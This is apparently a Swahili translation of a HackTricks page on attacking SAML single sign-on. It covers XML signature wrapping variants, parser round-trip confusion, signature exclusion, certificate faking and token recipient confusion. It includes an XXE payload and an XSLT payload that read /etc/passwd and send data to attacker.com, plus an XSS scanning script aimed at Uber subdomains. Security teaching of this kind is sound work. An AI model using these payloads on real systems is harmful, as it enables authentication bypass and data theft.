Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

SAML Attacks

Mashambulizi ya SAML

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

pageSAML Basics

Zana

SAMLExtractor: Zana ambayo inaweza kuchukua URL au orodha ya URL na kutoa nyuma URL ya matumizi ya SAML.

Mzunguko wa XML

Katika XML sehemu iliyosainiwa ya XML inahifadhiwa kumbukumbu, kisha uandishi wa nambari/uchambuzi unafanywa na saini huchunguzwa. Kimsingi uandishi wa nambari/uchambuzi huo haipaswi kubadilisha data lakini kulingana na hali hiyo, data inayochunguzwa na data ya awali zinaweza kutofautiana.

Kwa mfano, angalia nambari ifuatayo:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au matoleo mapema kutatoa matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hivi ndivyo REXML ilivyotazama hati ya XML ya asili kutoka kwa programu hapo juu:

Na hivi ndivyo ilivyotazama baada ya duru moja ya upambanuzi na ufuatiliaji:

Kwa habari zaidi kuhusu udhaifu na jinsi ya kuitumia:

Mashambulizi ya Kusainiwa kwa XML (XML Signature Wrapping Attacks)

Katika mashambulizi ya Kusainiwa kwa XML (XSW), wadukuzi hutumia udhaifu unaojitokeza wakati hati za XML zinapopitishwa kupitia hatua mbili tofauti: uthibitishaji wa saini na wito wa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa usahihi, muhusika huweka vipengele vilivyopigwa ambavyo havidhoofishi uhalali wa Saini ya XML. Udanganyifu huu unalenga kuleta tofauti kati ya vipengele vinavyochambuliwa na mantiki ya programu na vile vilivyothibitishwa na moduli ya uthibitishaji wa saini. Kama matokeo, ingawa Saini ya XML inabaki kuwa halali kiufundi na kupita uthibitishaji, mantiki ya programu inachakata vipengele vya udanganyifu. Kwa hivyo, muhusika kimsingi anapita kinga ya ulinzi wa uadilifu na uthibitisho wa asili wa Saini ya XML, kuruhusu uingizaji wa yaliyomo ya kupendelea bila kugunduliwa.

Mashambulizi yafuatayo yanategemea chapisho hili la blogi na karatasi hii. Kwa hivyo angalia hizo kwa maelezo zaidi.

XSW #1

  • Mbinu: Kipengele kipya cha msingi kinachojumuisha saini huongezwa.

  • Athari: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu -> Kuthibitisha -> Mada" halali na "Jibu jipya la uovu -> Kuthibitisha -> Mada", ikisababisha masuala ya uadilifu wa data.

XSW #2

  • Tofauti na XSW #1: Hutumia saini iliyotengwa badala ya saini iliyofungwa.

  • Athari: Muundo wa "ovu", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya ukaguzi wa uadilifu.

XSW #3

  • Mbinu: Kuthibitisha ovu imeundwa kwenye kiwango sawa cha ierarkia kama kuthibitisha ya asili.

  • Athari: Inalenga kuchanganya mantiki ya biashara ili kutumia data ya uovu.

XSW #4

  • Tofauti na XSW #3: Kuthibitisha ya asili inakuwa mtoto wa Kuthibitisha iliyodurufishwa (ovu).

  • Athari: Kama XSW #3 lakini inabadilisha muundo wa XML kwa ukali zaidi.

XSW #5

  • Jambo la Kipekee: Wala Saini wala Kuthibitisha ya asili hazifuati miundo ya kawaida (iliyofungwa/inayojumuisha/iliyotengwa).

  • Athari: Kuthibitisha iliyokopi inajumuisha Saini, ikibadilisha muundo uliotarajiwa wa hati.

XSW #6

  • Mbinu: Uingizaji wa eneo sawa kama XSW #4 na #5, lakini na mzunguko.

  • Athari: Kuthibitisha iliyokopi inajumuisha Saini, ambayo kisha inajumuisha Kuthibitisha ya asili, ikiumba muundo wa udanganyifu ulioingiliana.

XSW #7

  • Mbinu: Kipengele cha Vipanuzi kinaingizwa na Kuthibitisha iliyokopi kama mtoto.

  • Athari: Hii inatumia mpango mdogo wa skimu ya Kipengele cha Vipanuzi kwa kuzidi hatua za kuzuia uthibitishaji wa skimu, hasa katika maktaba kama OpenSAML.

XSW #8

  • Tofauti na XSW #7: Hutumia kipengele kingine cha XML kilicho na msimamo mdogo kwa toleo la shambulizi.

  • Athari: Kuthibitisha ya asili inakuwa mtoto wa kipengele kilicho na msimamo mdogo, ikigeuza muundo uliotumiwa katika XSW #7.

Zana

Unaweza kutumia nyongeza ya Burp SAML Raider kuchambua ombi, kutumia shambulizi lolote la XSW unalochagua, na kulizindua.

XXE

Ikiwa haujui ni aina gani ya mashambulizi ya XXE, tafadhali soma ukurasa ufuatao:

pageXXE - XEE - XML External Entity

Majibu ya SAML ni hati za XML zilizopondwa na zilizofungwa kwa msingi wa base64 na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Majibu ya SAML, wadukuzi wanaweza kujaribu kutumia udhaifu wa XXE. Hapa ndivyo mashambulizi kama hayo yanavyoweza kuonekana:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Vifaa

Unaweza pia kutumia Burp extension SAML Raider kuzalisha POC kutoka ombi la SAML ili kufanya majaribio ya uwezekano wa mashimo ya XXE na mashimo ya SAML.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa habari zaidi kuhusu XSLT endelea kwenye:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Transformations za Lugha ya Mtindo Inayoweza Kupanuliwa (XSLT) zinaweza kutumika kubadilisha hati za XML kuwa miundo mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba Transformations za XSLT hutekelezwa kabla ya uthibitisho wa saini ya kidijitali. Hii inamaanisha kwamba shambulio linaweza kuwa na mafanikio hata bila saini halali; saini iliyojisaini au saini isiyofaa ni ya kutosha kuendelea.

Hapa unaweza kupata POC ya kuchunguza aina hii ya mashimo, kwenye ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata mizigo ya data.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Zana

Unaweza pia kutumia Burp extension SAML Raider kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa XSLT vulnerabilities.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

Kutenga Saini ya XML

Kutenga Saini ya XML inachunguza tabia ya utekelezaji wa SAML wakati Kipengele cha Saini haipo. Ikiwa kipengele hiki hakipo, uthibitisho wa saini huenda usitokee, ikifanya iwe hatarishi. Inawezekana kufanya majaribio haya kwa kubadilisha maudhui ambayo kawaida huthibitishwa na saini.

Zana

Unaweza pia kutumia Burp extension SAML Raider. Kukamata SAML Response na bonyeza Ondoa Saini. Kwa kufanya hivyo vilevile Vipengele vyote vya Saini vinatolewa.

Baada ya saini kuondolewa, ruhusu ombi kuendelea kufikia lengo. Ikiwa Saini haihitajiki na Huduma

Udanganyifu wa Cheti

Udanganyifu wa Cheti ni mbinu ya kufanya majaribio ikiwa Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umesainiwa na Mtoa Huduma aliyeaminika (IdP). Inahusisha kutumia cheti kilichojisaini kusaini SAML Response au Kuthibitisha, ambayo husaidia katika kutathmini mchakato wa uthibitisho wa uaminifu kati ya SP na IdP.

Jinsi ya Kufanya Udanganyifu wa Cheti

Hatua zifuatazo zinaelezea mchakato kwa kutumia SAML Raider Burp extension:

  1. Kukamata SAML Response.

  2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha Tuma Cheti kwa SAML Raider Certs.

  3. Katika kichupo cha Vyeti vya SAML Raider, chagua cheti kilichoingizwa na bonyeza Hifadhi na Jisaini mwenyewe ili kuunda nakala iliyojisaini ya cheti cha awali.

  4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya kilichoingizwa kutoka kwenye menyu ya Saini ya XML.

  5. Ondoa saini zilizopo na kitufe cha Ondoa Saini.

  6. Saini ujumbe au kuthibitisha na cheti kipya kwa kutumia kitufe cha (Re-)Saini Ujumbe au (Re-)Saini Kuthibitisha, kama inavyofaa.

  7. Peleka ujumbe uliosainiwa. Uthibitisho wa mafanikio unaonyesha kwamba SP inakubali ujumbe uliosainiwa na cheti chako kilichojisaini, kufunua mapungufu yanayowezekana katika mchakato wa uthibitisho wa ujumbe wa SAML.

Kuchanganyikiwa kwa Mpokeaji wa Tokeni / Kuchanganyikiwa kwa Lengo la Mtoa Huduma

Kuchanganyikiwa kwa Mpokeaji wa Tokeni na Kuchanganyikiwa kwa Lengo la Mtoa Huduma kunahusisha kuangalia ikiwa Mtoa Huduma anathibitisha ipasavyo mpokeaji anayetarajiwa wa jibu. Kimsingi, Mtoa Huduma anapaswa kukataa jibu la uthibitisho ikiwa lilikuwa limekusudiwa kwa mtoa huduma tofauti. Elementi muhimu hapa ni Mpokeaji ambayo hupatikana ndani ya kipengele cha SubjectConfirmationData cha SAML Response. Kipengele hiki hufafanua URL inayoonyesha mahali Ambapo Kuthibitisha lazima itumwe. Ikiwa mpokeaji halisi hailingani na Mtoa Huduma aliyekusudiwa, Kuthibitisha inapaswa kufutwa.

Inavyofanya Kazi

Ili shambulio la Kuchanganyikiwa kwa Mpokeaji wa Tokeni wa SAML (SAML-TRC) liwezekane, hali fulani lazima zikutane. Kwanza, lazima kuwepo akaunti halali kwenye Mtoa Huduma (inayoitwa SP-Legit). Pili, Mtoa Huduma uliolengwa (SP-Target) lazima akubali alama kutoka kwa Mtoa Huduma huyo huyo wa Kitambulisho anayehudumia SP-Legit.

Mchakato wa shambulio ni wa moja kwa moja chini ya hali hizi. Kikao halisi kinaanzishwa na SP-Legit kupitia Mtoa Huduma wa Kitambulisho ulioshiriki. SAML Response kutoka kwa Mtoa Huduma wa Kitambulisho kwenda SP-Legit inakamatwa. SAML Response iliyokamatwa, ambayo kimsingi ilikuwa imekusudiwa kwa SP-Legit, kisha inaelekezwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa na SP-Target kukubali Kuthibitisha, kutoa ufikiaji wa rasilimali chini ya jina la akaunti linalotumiwa kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika kazi ya kujiondoa

Utafiti wa awali unaweza kupatikana kupitia kiungo hiki.

Wakati wa mchakato wa kufanya nguvu ya kufikia saraka, ukurasa wa kujiondoa uligunduliwa kwenye:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Baada ya kufikia kiungo hiki, kumetokea uhamisho kwenda:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilifunua kwamba parameter ya base inakubali URL. Kufikiria hili, wazo lilijitokeza la kubadilisha URL na javascript:alert(123); kujaribu kuanzisha shambulio la XSS (Cross-Site Scripting).

Uteketezaji wa Wingi

Kutoka kwenye utafiti huu:

Zana ya SAMLExtractor ilitumika kuchambua subdomains za uberinternal.com kwa udomauni unaoitumia maktaba ile ile. Baadaye, script ilibuniwa kushambulia ukurasa wa oidauth/prompt. Script hii huchunguza XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia ikiwa inaonekana kwenye matokeo. Katika kesi ambapo data inaonekana, script huitambua ukurasa kama una kasoro.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

PreviousReset/Forgotten Password BypassNextSAML Basics

Last updated